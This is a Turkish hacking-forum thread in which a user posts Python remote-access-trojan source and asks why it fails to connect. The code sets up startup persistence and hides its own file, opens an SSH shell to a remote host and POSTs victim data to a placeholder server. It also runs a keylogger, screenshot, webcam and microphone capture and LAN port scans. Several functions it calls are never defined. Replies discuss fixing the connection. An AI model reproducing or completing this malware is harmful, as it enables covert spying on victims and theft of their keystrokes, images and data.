Python'la Remote Access

bytural

Üye
1 Eki 2017
144
13
Baku
Pythonla Ilgilnen arkadaşlardan ricam bu kodun incelenmesi ortada bir sorun yok ama bağlantı kurulmuyor.

ICODE]

import os
import shutil
import subprocess
import sys
import time
import socket
import platform
import psutil
import paramiko
import nmap
import cv2
import pyaudio
import wave
import pyautogui
from pynput.keyboard import Key, Listener
import requests


def copy_to_startup():
startup_path = os.path.join(os.getenv("APPDATA"), "Microsoft", "Windows", "Start Menu", "Programs", "Startup")
shutil.copy(sys.argv[0], startup_path)


def hide_virus():
subprocess.Popen(["attrib", "+h", sys.argv[0]], shell=True)

def remote_access():
try:
host = 'host ip'
username = 'username'
password = 'şifre'
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(host, username=username, password=password)
shell = ssh.invoke_shell()
shell.send('dir\n')
output = shell.recv(1024).decode()
print("Result Command Dir:")
print(output)
shell.close()
ssh.close()
except Exception as e:
print("Error Monito:", e)


def send_data(victim_data):
try:
url = 'remote server'
response = requests.post(url, data=victim_data)
if response.status_code == 200:
print("Data Send Remote Server .")
else:
print("Error Send Server Status Code:", response.status_code)
except Exception as e:
print("Error Send Data Remote Server:", e)


def keylogger():
try:
def on_press(key):
with open("keylogs.txt", "a") as f:
f.write(f"{key} pressed\n")
def on_release(key):
if key == Key.esc:
return False
with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
except Exception as e:
print("Ошибка в keylogger:", e)


def take_screenshot(output_folder="screenshots", interval=10):
try:
if not os.path.exists(output_folder):
os.makedirs(output_folder)
while True:
timestamp = time.strftime("%Y-%m-%d_%H-%M-%S")
screenshot_path = os.path.join(output_folder, f"screenshot_{timestamp}.png")
screenshot = pyautogui.screenshot()
screenshot.save(screenshot_path)
print(f"Screen Save: {screenshot_path}")
time.sleep(interval)
except Exception as e:
print("Error Screen Saver:", e)


def activate_webcam():
try:
cap = cv2.VideoCapture(0)
while True:
ret, frame = cap.read()
cv2.imshow('Webcam', frame)
if cv2.waitKey(1) & 0xFF == ord('q'):
break
cap.release()
cv2.destroyAllWindows()
except Exception as e:
print("Error Cam:", e)


def activate_microphone(output_file="audio.wav", duration=5):
try:
CHUNK = 1024
FORMAT = pyaudio.paInt16
CHANNELS = 1
RATE = 44100
p = pyaudio.PyAudio()
stream = p.open(format=FORMAT,
channels=CHANNELS,
rate=RATE,
input=True,
frames_per_buffer=CHUNK)
frames = []
print("Kayd Et...")
for i in range(0, int(RATE / CHUNK * duration)):
data = stream.read(CHUNK)
frames.append(data)
print("Kayıt sonlandı.")
stream.stop_stream()
stream.close()
p.terminate()
with wave.open(output_file, 'wb') as wf:
wf.setnchannels(CHANNELS)
wf.setsampwidth(p.get_sample_size(FORMAT))
wf.setframerate(RATE)
wf.writeframes(b''.join(frames))
print(f"Audio Save: {output_file}")
except Exception as e:
print("Error Mic:", e)


def find_other_cameras():
try:
nm = nmap.PortScanner()
nm.scan(hosts='192.168.0.0/24', arguments='-p 554,80')
for host in nm.all_hosts():
if nm[host]['tcp'][80]['state'] == 'open' or nm[host]['tcp'][554]['state'] == 'open':
print(f"Access Cam: {host}")
except Exception as e:
print("Error Cam:", e)

def auto_install():
ports_to_scan = [80, 443, 445]
host_prefix = '192.168.1.'
for i in range(1, 255):
for port in ports_to_scan:
ip = f"{host_prefix}{i}"
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(1)
result = sock.connect_ex((ip, port))
if result == 0:
print(f"Access {ip} Port {port}")

sock.close()
else:
print(f"Error {ip} Port {port}")
except Exception as e:
print(f"Error {ip} Port {port}: {e}")


auto_install()


def main():
try:
copy_to_startup()
hide_virus()
remote_access()
send_data({'name': 'Жертва', 'age': 25, 'location': 'Hədəf Location'})
keylogger()
take_screenshot()
print(system_info())
print(installed_programs())
print(list_files())
remove_virus()
except Exception as e:
print("Error:", e)

if __name__ == "__main__":
main()
[/ICODE]
 
Moderatör tarafında düzenlendi:

Quantum PH

Üye
2 Mar 2024
70
33
New Jersey
def remote_access():
try:
host = 'host ip'
username = 'username'
password = 'şifre'
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(host, username=username, password=password)
shell = ssh.invoke_shell()
shell.send('dir\n')
output = shell.recv(1024).decode()
print("Result Command Dir:")
print(output)
shell.close()
ssh.close()
except Exception as e:
print("Error Monito:", e)
Sunucu aktif mi değil mi kontrol dahi ettirmemişsiniz acaba nasıl bir senaryo üzerinde çalışıyorsunuz?
bu program uzun süre bağlantı vermeyeceğini düşünüyorum.
 

bytural

Üye
1 Eki 2017
144
13
Baku
Sunucu aktif mi değil mi kontrol dahi ettirmemişsiniz acaba nasıl bir senaryo üzerinde çalışıyorsunuz?
bu program uzun süre bağlantı vermeyeceğini düşünüyorum.
Sunucu aktif amma dogru kontrol yok ama olmasa dahi çalışması gerekirdi amma kodda bir sorun geri kalan her şey doöru başka ratlar aynı işlemi yapıyor
dahi metasploitde çalışdı aynı sunucu uzerinden
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.